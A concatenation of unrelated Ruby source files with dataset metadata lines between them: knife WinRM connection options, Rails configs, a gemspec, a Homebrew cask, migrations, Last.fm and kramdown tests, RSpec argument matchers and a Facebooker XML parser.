resolve_winrm_basic_auth, disable_sspi: resolve_winrm_disable_sspi, transport: resolve_winrm_transport, no_ssl_peer_verification: resolve_no_ssl_peer_verification, ssl_peer_fingerprint: resolve_ssl_peer_fingerprint, shell: locate_config_value(:winrm_shell), codepage: locate_config_value(:winrm_codepage) } if @session_opts[:user] and (not @session_opts[:password]) @session_opts[:password] = Chef::Config[:knife][:winrm_password] = config[:winrm_password] = get_password end if @session_opts[:transport] == :kerberos @session_opts.merge!(resolve_winrm_kerberos_options) end @session_opts[:ca_trust_path] = locate_config_value(:ca_trust_file) if locate_config_value(:ca_trust_file) end def resolve_winrm_user user = locate_config_value(:winrm_user) # Prefixing with '.\' when using negotiate # to auth user against local machine domain if resolve_winrm_basic_auth || resolve_winrm_transport == :kerberos || user.include?("\\") || user.include?("@") user else ".\\#{user}" end end def resolve_winrm_session_timeout #30 min (Default) OperationTimeout for long bootstraps fix for KNIFE_WINDOWS-8 locate_config_value(:session_timeout).to_i * 60 if locate_config_value(:session_timeout) end def resolve_winrm_basic_auth locate_config_value(:winrm_authentication_protocol) == "basic" end def resolve_winrm_kerberos_options kerberos_opts = {} kerberos_opts[:keytab] = locate_config_value(:kerberos_keytab_file) if locate_config_value(:kerberos_keytab_file) kerberos_opts[:realm] = locate_config_value(:kerberos_realm) if locate_config_value(:kerberos_realm) kerberos_opts[:service] = locate_config_value(:kerberos_service) if locate_config_value(:kerberos_service) kerberos_opts end def resolve_winrm_transport transport = locate_config_value(:winrm_transport).to_sym if config.any? {|k,v| k.to_s =~ /kerberos/ && !v.nil? } transport = :kerberos elsif transport != :ssl && negotiate_auth? transport = :negotiate end transport end def resolve_no_ssl_peer_verification locate_config_value(:ca_trust_file).nil? && config[:winrm_ssl_verify_mode] == :verify_none && resolve_winrm_transport == :ssl end def resolve_ssl_peer_fingerprint locate_config_value(:ssl_peer_fingerprint) end def resolve_winrm_disable_sspi resolve_winrm_transport != :negotiate end def get_password @password ||= ui.ask("Enter your password: ") { |q| q.echo = false } end def negotiate_auth? locate_config_value(:winrm_authentication_protocol) == "negotiate" end def warn_no_ssl_peer_verification if ! @@ssl_warning_given @@ssl_warning_given = true ui.warn(<<-WARN) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * SSL validation of HTTPS requests for the WinRM transport is disabled. HTTPS WinRM connections are still encrypted, but knife is not able to detect forged replies or spoofing attacks. To fix this issue add an entry like this to your knife configuration file: ``` # Verify all WinRM HTTPS connections (default, recommended) knife[:winrm_ssl_verify_mode] = :verify_peer ``` * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WARN end end end end end end end
37.31962
141
0.581786
875fe0dc5f9de3918e33d56621bd103bcaf8dc62
155
# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_rails_app_with_knapsack_session'
38.75
93
0.825806
e8d26d0b3dff7b6ad99c098e839164c1d19b7822
71
class ExternalAuthor < ApplicationRecord belongs_to :publication end
17.75
40
0.84507
f8a23ef9378d29f98a8c36cc3a62c3511c0bc95f
167
# This file is used by Rack-based servers to start the application. require ::File.expand_path('../config/environment', __FILE__) run SpeakerinnenListe::Application
33.4
67
0.784431
4a6fe6c34aa08902eea977a76ab3a3a3feb27562
2,010
# -*- ruby -*- # encoding: utf-8 require File.expand_path("lib/google/cloud/metastore/v1/version", __dir__) Gem::Specification.new do |gem| gem.name = "google-cloud-metastore-v1" gem.version = Google::Cloud::Metastore::V1::VERSION gem.authors = ["Google LLC"] gem.email = "[email protected]" gem.description = "Dataproc Metastore is a fully managed, highly available within a region, autohealing serverless Apache Hive metastore (HMS) on Google Cloud for data analytics products. It supports HMS and serves as a critical component for managing the metadata of relational entities and provides interoperability between data processing applications in the open source data ecosystem. Note that google-cloud-metastore-v1 is a version-specific client library. For most uses, we recommend installing the main client library google-cloud-metastore instead. See the readme for more details." gem.summary = "API Client library for the Dataproc Metastore V1 API" gem.homepage = "https://github.com/googleapis/google-cloud-ruby" gem.license = "Apache-2.0" gem.platform = Gem::Platform::RUBY gem.files = `git ls-files -- lib/*`.split("\n") + `git ls-files -- proto_docs/*`.split("\n") + ["README.md", "LICENSE.md", "AUTHENTICATION.md", ".yardopts"] gem.require_paths = ["lib"] gem.required_ruby_version = ">= 2.5" gem.add_dependency "gapic-common", ">= 0.7", "< 2.a" gem.add_dependency "google-cloud-errors", "~> 1.0" gem.add_development_dependency "google-style", "~> 1.25.1" gem.add_development_dependency "minitest", "~> 5.14" gem.add_development_dependency "minitest-focus", "~> 1.1" gem.add_development_dependency "minitest-rg", "~> 5.2" gem.add_development_dependency "rake", ">= 12.0" gem.add_development_dependency "redcarpet", "~> 3.0" gem.add_development_dependency "simplecov", "~> 0.18" gem.add_development_dependency "yard", "~> 0.9" end
52.894737
596
0.693532
bfe229f9fa603800e5331e4a12c743576bf758cf
390
module Bosh module Director module Models class CpiConfig < Sequel::Model(Bosh::Director::Config.db) def before_create self.created_at ||= Time.now end def manifest=(cpi_config_hash) self.properties = YAML.dump(cpi_config_hash) end def manifest YAML.load properties end end end end end
19.5
64
0.592308
39841c01b2f8d80a0cc31308c8be0ccc7914146d
313
class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. # protect_from_forgery with: :exception protect_from_forgery with: :null_session, :if => Proc.new { |c| c.request.format == 'application/json' } end
44.714286
106
0.753994
1c49c23924f830b979b6fa067df9f71d83578ca7
324
cask :v1 => 'unity' do version '4.6.4' sha256 'd5d840f30d0987b3aef29dc3b651141cb5fb77fc3c28405b5ff667e03b01360a' url "http://netstorage.unity3d.com/unity/unity-#{version}.dmg" name 'Unity' homepage 'https://unity3d.com/unity/' license :commercial pkg 'Unity.pkg' uninstall :pkgutil => 'com.unity3d.*' end
23.142857
75
0.722222
2174dbef5e1f4b882aeb1b256c7d8fed69904817
642
class CreateOldRatings < ActiveRecord::Migration def up create_table :old_ratings do |t| # Warning: column order should match CSV import file (see below). t.integer :icu_id t.integer :rating, :games, limit: 2 t.boolean :full, default: false end # This is fast, despite the large amount of data, but it needs the column order to match and the DB user to have FILE privilege. execute "load data infile '#{Rails.root}/db/data/old_ratings.csv' into table old_ratings fields terminated by ','" add_index :old_ratings, :icu_id, unique: true end def down drop_table :old_ratings end end
32.1
132
0.699377
e8abbf205256b2c57f89c93fffc06f736e29af72
211
require File.dirname(__FILE__) + "/helper" class DeleteNodeTest < NodeTestCase def test_to_sexp node = DeleteNode.new(ResolveNode.new('foo')) assert_sexp([:delete, [:resolve, 'foo']], node) end end
23.444444
51
0.706161
262cf441ae77d73fa77dd813e122f460e2992dc7
246
class AddImportDeclarationCollection < ActiveRecord::Migration def change add_column :import_declarations, :project, :string add_column :import_declarations, :source_id, :string add_index :import_declarations, :source_id end end
27.333333
62
0.788618
1afda8c8316792a24c2bbc092dc19e79ab89cfb9
96
class DeprecatedController < ApplicationController def mrl render layout: false end end
16
50
0.78125
6aade60724f897f074adde2453c11199686cd4c4
12,603
require File.dirname(__FILE__) + '/../test_helper.rb' class TestUser < Test::Unit::TestCase def setup @user = Scrobbler::User.new('jnunemaker') end test 'should be able to find one user' do assert_equal(@user.username, Scrobbler::User.find('jnunemaker').username) end test 'should be able to find multiple users' do users = Scrobbler::User.find('jnunemaker', 'oaknd1', 'wharle') assert_equal(%w{jnunemaker oaknd1 wharle}, users.collect(&:username)) end test 'should be able to find multiple users using an array' do users = Scrobbler::User.find(%w{jnunemaker oaknd1 wharle}) assert_equal(%w{jnunemaker oaknd1 wharle}, users.collect(&:username)) end test 'should be able to load profile while finding' do user = Scrobbler::User.find('jnunemaker', :include_profile => true) assert_equal(@user.username, user.username) assert_equal('3017870', user.id) end test 'should be able to load profile while finding multiple users' do users = Scrobbler::User.find('jnunemaker', 'oaknd1', 'wharle', :include_profile => true) assert_equal(3, users.size) end test 'should require a username' do assert_raise(ArgumentError) { Scrobbler::User.new('') } end test 'should have api path' do assert_equal('/1.0/user/jnunemaker', @user.api_path) end test 'should know the correct current events addresses' do assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/events.ics', @user.current_events(:ical)) assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/events.ics', @user.current_events(:ics)) assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/events.rss', @user.current_events(:rss)) end test 'should know the correct friends events addresses' do assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/friendevents.ics', @user.friends_events(:ical)) assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/friendevents.ics', @user.friends_events(:ics)) assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/friendevents.rss', @user.friends_events(:rss)) end test 'should know the correct recommended events addresses' do assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/eventsysrecs.ics', @user.recommended_events(:ical)) assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/eventsysrecs.ics', @user.recommended_events(:ics)) assert_equal('http://ws.audioscrobbler.com/1.0/user/jnunemaker/eventsysrecs.rss', @user.recommended_events(:rss)) end test 'should be able to include profile during initialization' do user = Scrobbler::User.new('jnunemaker', :include_profile => true) assert_equal('3017870', user.id) assert_equal('4', user.cluster) assert_equal('http://www.last.fm/user/jnunemaker/', user.url) assert_equal('John Nunemaker', user.realname) assert_equal('d5bbe280b7a41d4a87253361692ef105b983cf1a', user.mbox_sha1sum) assert_equal('Dec 8, 2005', user.registered) assert_equal('1134050307', user.registered_unixtime) assert_equal('25', user.age) assert_equal('m', user.gender) assert_equal('United States', user.country) assert_equal('13267', user.playcount) assert_equal('http://panther1.last.fm/avatar/5cb420de0855dadf6bcb1090d8ff02bb.jpg', user.avatar) end test 'should be able to load users profile' do @user.load_profile assert_equal('3017870', @user.id) assert_equal('4', @user.cluster) assert_equal('http://www.last.fm/user/jnunemaker/', @user.url) assert_equal('John Nunemaker', @user.realname) assert_equal('d5bbe280b7a41d4a87253361692ef105b983cf1a', @user.mbox_sha1sum) assert_equal('Dec 8, 2005', @user.registered) assert_equal('1134050307', @user.registered_unixtime) assert_equal('25', @user.age) assert_equal('m', @user.gender) assert_equal('United States', @user.country) assert_equal('13267', @user.playcount) assert_equal('http://panther1.last.fm/avatar/5cb420de0855dadf6bcb1090d8ff02bb.jpg', @user.avatar) end test "should be able to get a user's top artists" do assert_equal(3, @user.top_artists.size) first = @user.top_artists.first assert_equal('Dixie Chicks', first.name) assert_equal('3248ed2d-bada-41b5-a7b6-ac88faa1f1ac', first.mbid) assert_equal('592', first.playcount) assert_equal('1', first.rank) assert_equal('http://www.last.fm/music/Dixie+Chicks', first.url) assert_equal('http://static3.last.fm/storable/image/182497/small.jpg', first.thumbnail) assert_equal('http://panther1.last.fm/proposedimages/sidebar/6/4037/512759.jpg', first.image) end test 'should be able to get top albums' do assert_equal(3, @user.top_albums.size) first = @user.top_albums.first assert_equal('LeAnn Rimes', first.artist) assert_equal('9092d8e1-9b38-4372-a96d-000b8561a8bc', first.artist_mbid) assert_equal('This Woman', first.name) assert_equal('080a4038-5156-460a-8dd5-daaa7d16b6a6', first.mbid) assert_equal('297', first.playcount) assert_equal('1', first.rank) assert_equal('http://www.last.fm/music/LeAnn+Rimes/This+Woman', first.url) assert_equal('http://images.amazon.com/images/P/B00067BD8K.01._SCMZZZZZZZ_.jpg', first.image(:small)) assert_equal('http://images.amazon.com/images/P/B00067BD8K.01._SCMZZZZZZZ_.jpg', first.image(:medium)) assert_equal('http://images.amazon.com/images/P/B00067BD8K.01._SCMZZZZZZZ_.jpg', first.image(:large)) end test 'should be able to get top tracks' do assert_equal(3, @user.top_tracks.size) first = @user.top_tracks.first assert_equal("Probably Wouldn't Be This Way", first.name) assert_equal('LeAnn Rimes', first.artist) assert_equal('9092d8e1-9b38-4372-a96d-000b8561a8bc', first.artist_mbid) assert_equal("", first.mbid) assert_equal('61', first.playcount) assert_equal('1', first.rank) assert_equal('http://www.last.fm/music/LeAnn+Rimes/_/Probably+Wouldn%27t+Be+This+Way', first.url) end test 'should be able to get top tags' do assert_equal(3, @user.top_tags.size) first = @user.top_tags.first assert_equal("country", first.name) assert_equal("6", first.count) assert_equal("http://www.last.fm/tag/country", first.url) end # not implemented test 'should be able to get top tags for artist' do end # not implemented test 'should be able to get top tags for album' do end # not implemented test 'should be able to get top tags for track' do end test 'should have friends' do assert_equal(3, @user.friends.size) first = @user.friends.first assert_equal('oaknd1', first.username) assert_equal('http://www.last.fm/user/oaknd1/', first.url) assert_equal('http://panther1.last.fm/avatar/1894043b3e8995c51f7bb5e3210ef97a.jpg', first.avatar) end test 'should have neighbours' do assert_equal(3, @user.neighbours.size) first = @user.neighbours.first assert_equal('xBluejeanbabyx', first.username) assert_equal('http://www.last.fm/user/xBluejeanbabyx/', first.url) assert_equal('http://panther1.last.fm/avatar/d4de2144dc9b651b02d5d633124f0205.jpg', first.avatar) end test 'should have recent tracks' do assert_equal(3, @user.recent_tracks.size) first = @user.recent_tracks.first assert_equal('Recovering the Satellites', first.name) assert_equal('Counting Crows', first.artist) assert_equal('a0327dc2-dc76-44d5-aec6-47cd2dff1469', first.artist_mbid) assert_equal('', first.mbid) assert_equal('328bc43b-a81a-4dc0-844f-1a27880e5fb2', first.album_mbid) assert_equal('Recovering the Satellites', first.album) assert_equal('http://www.last.fm/music/Counting+Crows/_/Recovering+the+Satellites', first.url) assert_equal(Time.mktime(2007, 5, 4, 21, 1, 00), first.date) assert_equal('1178312462', first.date_uts) end test 'should have recent banned tracks' do assert_equal(3, @user.recent_banned_tracks.size) first = @user.recent_banned_tracks.first assert_equal('Dress Rehearsal Rag', first.name) assert_equal('Leonard Cohen', first.artist) assert_equal('65314b12-0e08-43fa-ba33-baaa7b874c15', first.artist_mbid) assert_equal('', first.mbid) assert_equal('http://www.last.fm/music/Leonard+Cohen/_/Dress+Rehearsal+Rag', first.url) assert_equal(Time.mktime(2006, 9, 27, 14, 19, 00), first.date) assert_equal('1159366744', first.date_uts) end test 'should have recent loved tracks' do assert_equal(3, @user.recent_loved_tracks.size) first = @user.recent_loved_tracks.first assert_equal('Am I Missing', first.name) assert_equal('Dashboard Confessional', first.artist) assert_equal('50549203-9602-451c-b49f-ff031ba8635c', first.artist_mbid) assert_equal('', first.mbid) assert_equal('http://www.last.fm/music/Dashboard+Confessional/_/Am+I+Missing', first.url) assert_equal(Time.mktime(2006, 9, 26, 17, 43, 00), first.date) assert_equal('1159292606', first.date_uts) end test 'should have recommendations' do assert_equal(3, @user.recommendations.size) first = @user.recommendations.first assert_equal('Kaiser Chiefs', first.name) assert_equal('90218af4-4d58-4821-8d41-2ee295ebbe21', first.mbid) assert_equal('http://www.last.fm/music/Kaiser+Chiefs', first.url) end test 'should have charts' do assert_equal(71, @user.charts.size) first = @user.charts.first assert_equal(1134302403, first.from) assert_equal(1134907203, first.to) end test 'should have weekly artist chart' do chart = @user.weekly_artist_chart assert_equal(5, chart.size) first = chart.first assert_equal('Rascal Flatts', first.name) assert_equal('6e0ae159-8449-4262-bba5-18ec87fa529f', first.mbid) assert_equal('1', first.chartposition) assert_equal('25', first.playcount) assert_equal('http://www.last.fm/music/Rascal+Flatts', first.url) end test 'should have weekly artist chart for past weeks' do chart = @user.weekly_artist_chart(1138536002, 1139140802) assert_equal(8, chart.size) first = chart.first assert_equal('Jenny Lewis with The Watson Twins', first.name) assert_equal('4b179fe2-dfa5-40b1-b6db-b56dbc3b5f09', first.mbid) assert_equal('1', first.chartposition) assert_equal('48', first.playcount) assert_equal('http://www.last.fm/music/Jenny+Lewis+with+The+Watson+Twins', first.url) end test 'should have weekly album chart' do chart = @user.weekly_album_chart assert_equal(4, chart.size) first = chart.first assert_equal('Reba McEntire', first.artist) assert_equal('3ec17e85-9284-4f4c-8831-4e56c2354cdb', first.artist_mbid) assert_equal("Reba #1's", first.name) assert_equal('', first.mbid) assert_equal('1', first.chartposition) assert_equal('13', first.playcount) assert_equal('http://www.last.fm/music/Reba+McEntire/Reba%2B%25231%2527s', first.url) end test 'should have weekly album chart for past weeks' do chart = @user.weekly_album_chart(1138536002, 1139140802) assert_equal(4, chart.size) first = chart.first assert_equal('Jewel', first.artist) assert_equal('abae8575-ec8a-4736-abc3-1ad5093a68aa', first.artist_mbid) assert_equal("0304", first.name) assert_equal('52b3f067-9d82-488c-9747-6d608d9b9486', first.mbid) assert_equal('1', first.chartposition) assert_equal('13', first.playcount) assert_equal('http://www.last.fm/music/Jewel/0304', first.url) end test 'should have track album chart' do chart = @user.weekly_track_chart assert_equal(4, chart.size) first = chart.first assert_equal('Rebecca St. James', first.artist) assert_equal('302716e4-a702-4bbc-baac-591f8a8e20bc', first.artist_mbid) assert_equal('Omega', first.name) assert_equal('', first.mbid) assert_equal('1', first.chartposition) assert_equal('2', first.playcount) assert_equal('http://www.last.fm/music/Rebecca+St.+James/_/Omega', first.url) end test 'should have weekly track chart for past weeks' do chart = @user.weekly_track_chart(1138536002, 1139140802) assert_equal(4, chart.size) first = chart.first assert_equal('Natasha Bedingfield', first.artist) assert_equal('8b477559-946e-4ef2-9fe1-446cff8fdd79', first.artist_mbid) assert_equal('Unwritten', first.name) assert_equal('', first.mbid) assert_equal('1', first.chartposition) assert_equal('8', first.playcount) assert_equal('http://www.last.fm/music/Natasha+Bedingfield/_/Unwritten', first.url) end end
43.309278
118
0.72324
f8447b9f5fd17ddd3ed1e52f03c037bf496fe85a
159
require 'test_helper' class ApplicationSystemTestCase < ActionDispatch::SystemTestCase # driven_by :selenium, using: :chrome, screen_size: [1400, 1400] end
26.5
66
0.792453
61d53ddcc4263aa59c66842cb94695e2a62328c2
82
Rails.application.routes.draw do root 'stream#index' get 'stream/stream' end
13.666667
32
0.743902
f86dcd370e496b075f643d85e8ad6f75fae49107
8,904
# This cannot take advantage of our relative requires, since this file is a # dependency of `rspec/mocks/argument_list_matcher.rb`. See comment there for # details. require 'rspec/support/matcher_definition' module RSpec module Mocks # ArgumentMatchers are placeholders that you can include in message # expectations to match arguments against a broader check than simple # equality. # # With the exception of `any_args` and `no_args`, they all match against # the arg in same position in the argument list. # # @see ArgumentListMatcher module ArgumentMatchers # Acts like an arg splat, matching any number of args at any point in an arg list. # # @example # expect(object).to receive(:message).with(1, 2, any_args) # # # matches any of these: # object.message(1, 2) # object.message(1, 2, 3) # object.message(1, 2, 3, 4) def any_args AnyArgsMatcher::INSTANCE end # Matches any argument at all. # # @example # expect(object).to receive(:message).with(anything) def anything AnyArgMatcher::INSTANCE end # Matches no arguments. # # @example # expect(object).to receive(:message).with(no_args) def no_args NoArgsMatcher::INSTANCE end # Matches if the actual argument responds to the specified messages. # # @example # expect(object).to receive(:message).with(duck_type(:hello)) # expect(object).to receive(:message).with(duck_type(:hello, :goodbye)) def duck_type(*args) DuckTypeMatcher.new(*args) end # Matches a boolean value. # # @example # expect(object).to receive(:message).with(boolean()) def boolean BooleanMatcher::INSTANCE end # Matches a hash that includes the specified key(s) or key/value pairs. # Ignores any additional keys. # # @example # expect(object).to receive(:message).with(hash_including(:key => val)) # expect(object).to receive(:message).with(hash_including(:key)) # expect(object).to receive(:message).with(hash_including(:key, :key2 => val2)) def hash_including(*args) HashIncludingMatcher.new(ArgumentMatchers.anythingize_lonely_keys(*args)) end # Matches an array that includes the specified items at least once. # Ignores duplicates and additional values # # @example # expect(object).to receive(:message).with(array_including(1,2,3)) # expect(object).to receive(:message).with(array_including([1,2,3])) def array_including(*args) actually_an_array = Array === args.first && args.count == 1 ? args.first : args ArrayIncludingMatcher.new(actually_an_array) end # Matches a hash that doesn't include the specified key(s) or key/value. # # @example # expect(object).to receive(:message).with(hash_excluding(:key => val)) # expect(object).to receive(:message).with(hash_excluding(:key)) # expect(object).to receive(:message).with(hash_excluding(:key, :key2 => :val2)) def hash_excluding(*args) HashExcludingMatcher.new(ArgumentMatchers.anythingize_lonely_keys(*args)) end alias_method :hash_not_including, :hash_excluding # Matches if `arg.instance_of?(klass)` # # @example # expect(object).to receive(:message).with(instance_of(Thing)) def instance_of(klass) InstanceOf.new(klass) end alias_method :an_instance_of, :instance_of # Matches if `arg.kind_of?(klass)` # # @example # expect(object).to receive(:message).with(kind_of(Thing)) def kind_of(klass) KindOf.new(klass) end alias_method :a_kind_of, :kind_of # @private def self.anythingize_lonely_keys(*args) hash = Hash === args.last ? args.delete_at(-1) : {} args.each { | arg | hash[arg] = AnyArgMatcher::INSTANCE } hash end # Intended to be subclassed by stateless, immutable argument matchers. # Provides a `<klass name>::INSTANCE` constant for accessing a global # singleton instance of the matcher. There is no need to construct # multiple instance since there is no state. It also facilities the # special case logic we need for some of these matchers, by making it # easy to do comparisons like: `[klass::INSTANCE] == args` rather than # `args.count == 1 && klass === args.first`. # # @private class SingletonMatcher private_class_method :new def self.inherited(subklass) subklass.const_set(:INSTANCE, subklass.send(:new)) end end # @private class AnyArgsMatcher < SingletonMatcher def description "*(any args)" end end # @private class AnyArgMatcher < SingletonMatcher def ===(_other) true end def description "anything" end end # @private class NoArgsMatcher < SingletonMatcher def description "no args" end end # @private class BooleanMatcher < SingletonMatcher def ===(value) true == value || false == value end def description "boolean" end end # @private class BaseHashMatcher def initialize(expected) @expected = expected end def ===(predicate, actual) @expected.__send__(predicate) do |k, v| actual.key?(k) && Support::FuzzyMatcher.values_match?(v, actual[k]) end rescue NoMethodError false end def description(name) "#{name}(#{formatted_expected_hash.inspect.sub(/^\{/, "").sub(/\}$/, "")})" end private def formatted_expected_hash Hash[ @expected.map do |k, v| k = RSpec::Support.rspec_description_for_object(k) v = RSpec::Support.rspec_description_for_object(v) [k, v] end ] end end # @private class HashIncludingMatcher < BaseHashMatcher def ===(actual) super(:all?, actual) end def description super("hash_including") end end # @private class HashExcludingMatcher < BaseHashMatcher def ===(actual) super(:none?, actual) end def description super("hash_not_including") end end # @private class ArrayIncludingMatcher def initialize(expected) @expected = expected end def ===(actual) actual = actual.uniq @expected.uniq.all? do |expected_element| actual.any? do |actual_element| RSpec::Support::FuzzyMatcher.values_match?(expected_element, actual_element) end end end def description "array_including(#{formatted_expected_values})" end private def formatted_expected_values @expected.map do |x| RSpec::Support.rspec_description_for_object(x) end.join(", ") end end # @private class DuckTypeMatcher def initialize(*methods_to_respond_to) @methods_to_respond_to = methods_to_respond_to end def ===(value) @methods_to_respond_to.all? { |message| value.respond_to?(message) } end def description "duck_type(#{@methods_to_respond_to.map(&:inspect).join(', ')})" end end # @private class InstanceOf def initialize(klass) @klass = klass end def ===(actual) actual.instance_of?(@klass) end def description "an_instance_of(#{@klass.name})" end end # @private class KindOf def initialize(klass) @klass = klass end def ===(actual) actual.kind_of?(@klass) end def description "kind of #{@klass.name}" end end matcher_namespace = name + '::' ::RSpec::Support.register_matcher_definition do |object| # This is the best we have for now. We should tag all of our matchers # with a module or something so we can test for it directly. # # (Note Module#parent in ActiveSupport is defined in a similar way.) begin object.class.name.include?(matcher_namespace) rescue NoMethodError # Some objects, like BasicObject, don't implemented standard # reflection methods. false end end end end end
27.738318
90
0.588275
ff41d9553ec29983861d4ec2e756db4e154b2974
849
require 'combinatorics/extensions/math' module Combinatorics module PowerSet # # Get number of elements in power set from number of elements in input # set. # # @param [Fixnum] n # Number of elements input set. # # @return [Fixnum] # Number of elements in power set. # # @see Math::factorial # @see http://en.wikipedia.org/wiki/Cardinality # # @note # Cardinality of power set on an empty set equals `factorial(0)` # equals 1. # def self.cardinality(n) Math.factorial(n) end # # Wrapper function for power set cardinality method defined above # # @note The letter `P' stands for the power set function in the context of # statements regarding discrete mathematics. # def self.P(n) cardinality(n) end end end
22.945946
78
0.62073
917824f5f1994e482f9bced324eb7a842ddf80a8
2,807
require_relative '../../helper' require_relative '../parser/folio/helper.rb' module Kramdown describe AdjacentElementMerger do # TODO: add spec for parallel strings of mergable elements several levels deep describe "recursively_merge_adjacent_elements!" do em_a1 = ElementRt.new(:em, nil, 'class' => 'a', 'id' => 'em_a1') em_a2 = ElementRt.new(:em, nil, 'class' => 'a', 'id' => 'em_a2') em_b1 = ElementRt.new(:em, nil, 'class' => 'b', 'id' => 'em_b1') p1 = ElementRt.new(:p, nil, 'id' => 'p1') strong_a1 = ElementRt.new(:strong, nil, 'class' => 'a', 'id' => 'strong_a1') strong_a2 = ElementRt.new(:strong, nil, 'class' => 'a', 'id' => 'strong_a2') text1 = ElementRt.new(:text, "text1") text2 = ElementRt.new(:text, "text2") text_b1 = ElementRt.new(:text, " ", 'id' => 'text_b1') [ [ "merges two adjacent ems that are of same type (and have different ids)", construct_kramdown_rt_tree( [p1, [ [em_a1, [text1]], [em_a2, [text2]], ]] ), %( - :p - {"id"=>"p1"} - :em - {"class"=>"a", "id"=>"em_a1"} - :text - "text1text2" ) ], [ "merges two adjacent strongs that are of same type (and have different ids)", construct_kramdown_rt_tree( [p1, [ [strong_a1, [text1]], [strong_a2, [text2]], ]] ), %( - :p - {"id"=>"p1"} - :strong - {"class"=>"a", "id"=>"strong_a1"} - :text - "text1text2" ) ], [ "doesn't merge adjacent ems if they are of different type", construct_kramdown_rt_tree( [p1, [ [em_a1, [text1]], [em_b1, [text2]], ]] ), %( - :p - {"id"=>"p1"} - :em - {"class"=>"a", "id"=>"em_a1"} - :text - "text1" - :em - {"class"=>"b", "id"=>"em_b1"} - :text - "text2" ) ], [ "merges two adjacent ems if they are separated by whitespace only", construct_kramdown_rt_tree( [p1, [ [em_a1, [text1]], text_b1, [em_a2, [text2]], ]] ), %( - :p - {"id"=>"p1"} - :em - {"class"=>"a", "id"=>"em_a1"} - :text - "text1 text2" ) ], ].each do |desc, kt, xpect| it desc do parser = Parser::Folio.new("") parser.send(:recursively_merge_adjacent_elements!, kt) kt.inspect_tree.must_equal xpect.gsub(/\n /, "\n") end end end end end
31.897727
87
0.443178
b9b5e99bf2b5d003682820c9712441052928fc46
782
require 'date' require_relative '../../spec_helper' describe "Date#<<" do it "subtracts a number of months from a date" do d = Date.civil(2007,2,27) << 10 d.should == Date.civil(2006, 4, 27) end it "returns the last day of a month if the day doesn't exist" do d = Date.civil(2008,3,31) << 1 d.should == Date.civil(2008, 2, 29) end ruby_version_is "2.3" do it "raises an error on non numeric parameters" do lambda { Date.civil(2007,2,27) << :hello }.should raise_error(TypeError) lambda { Date.civil(2007,2,27) << "hello" }.should raise_error(TypeError) lambda { Date.civil(2007,2,27) << Date.new }.should raise_error(TypeError) lambda { Date.civil(2007,2,27) << Object.new }.should raise_error(TypeError) end end end
30.076923
82
0.653453
1cbe27977a03381aa21e51442e7bca2bef85eb65
21,914
require 'rexml/document' require 'facebooker/session' begin require 'nokogiri' rescue Exception end module Facebooker class Parser module REXMLElementExtensions # :nodoc: def content self.text || '' end def [] key attributes[key] end def text? false end end module REXMLTextExtensions # :nodoc: def text? true end end ::REXML::Element.__send__(:include, REXMLElementExtensions) ::REXML::Text.__send__(:include, REXMLTextExtensions) def self.parse(method, data) Errors.process(data) parser = Parser::PARSERS[method] raise "Can't find a parser for '#{method}'" unless parser parser.process(data) end def self.array_of(response_element, element_name) values_to_return = [] response_element.children.each do |element| next if element.text? next unless element.name == element_name values_to_return << yield(element) end values_to_return end def self.array_of_text_values(response_element, element_name) array_of(response_element, element_name) do |element| element.content.strip end end def self.array_of_hashes(response_element, element_name) array_of(response_element, element_name) do |element| hashinate(element) end end def self.element(name, data) data = data.body rescue data # either data or an HTTP response if Object.const_defined?(:Nokogiri) xml = Nokogiri::XML(data.strip) if node = xml.at(name) return node end if xml.root.name == name return xml.root end else doc = REXML::Document.new(data) doc.elements.each(name) do |element| return element end end raise "Element #{name} not found in #{data}" end def self.hash_or_value_for(element) if element.children.size == 1 && element.children.first.text? element.content.strip else hashinate(element) end end def self.hashinate(response_element) response_element.children.reject{|c| c.text? }.inject({}) do |hash, child| # If the node hasn't any child, and is not a list, we want empty strings, not empty hashes, # except if attributes['nil'] == true hash[child.name] = if (child['nil'] == 'true') nil elsif (child.children.size == 1 && child.children.first.text?) || (child.children.size == 0 && child['list'] != 'true') anonymous_field_from(child, hash) || child.content.strip elsif child['list'] == 'true' child.children.reject{|c| c.text? }.map { |subchild| hash_or_value_for(subchild)} else child.children.reject{|c| c.text? }.inject({}) do |subhash, subchild| subhash[subchild.name] = hash_or_value_for(subchild) subhash end end #if (child.attributes) hash end #do |hash, child| end def self.booleanize(response) response == "1" ? true : false end def self.anonymous_field_from(child, hash) if child.name == 'anon' (hash[child.name] || []) << child.content.strip end end end class RevokeAuthorization < Parser#:nodoc: def self.process(data) booleanize(data) end end class CreateToken < Parser#:nodoc: def self.process(data) element('auth_createToken_response', data).content.strip end end class RegisterUsers < Parser def self.process(data) array_of_text_values(element("connect_registerUsers_response", data), "connect_registerUsers_response_elt") end end class UnregisterUsers < Parser def self.process(data) array_of_text_values(element("connect_unregisterUsers_response", data), "connect_unregisterUsers_response_elt") end end class GetUnconnectedFriendsCount < Parser def self.process(data) hash_or_value_for(element("connect_getUnconnectedFriendsCount_response",data)).to_i end end class GetSession < Parser#:nodoc: def self.process(data) hashinate(element('auth_getSession_response', data)) end end class GetFriends < Parser#:nodoc: def self.process(data) array_of_text_values(element('friends_get_response', data), 'uid') end end class FriendListsGet < Parser#:nodoc: def self.process(data) array_of_hashes(element('friends_getLists_response', data), 'friendlist') end end class UserInfo < Parser#:nodoc: def self.process(data) array_of_hashes(element('users_getInfo_response', data), 'user') end end class UserStandardInfo < Parser#:nodoc: def self.process(data) array_of_hashes(element('users_getStandardInfo_response', data), 'standard_user_info') end end class GetLoggedInUser < Parser#:nodoc: def self.process(data) Integer(element('users_getLoggedInUser_response', data).content.strip) end end class PagesIsAdmin < Parser#:nodoc: def self.process(data) element('pages_isAdmin_response', data).content.strip == '1' end end class PagesGetInfo < Parser#:nodoc: def self.process(data) 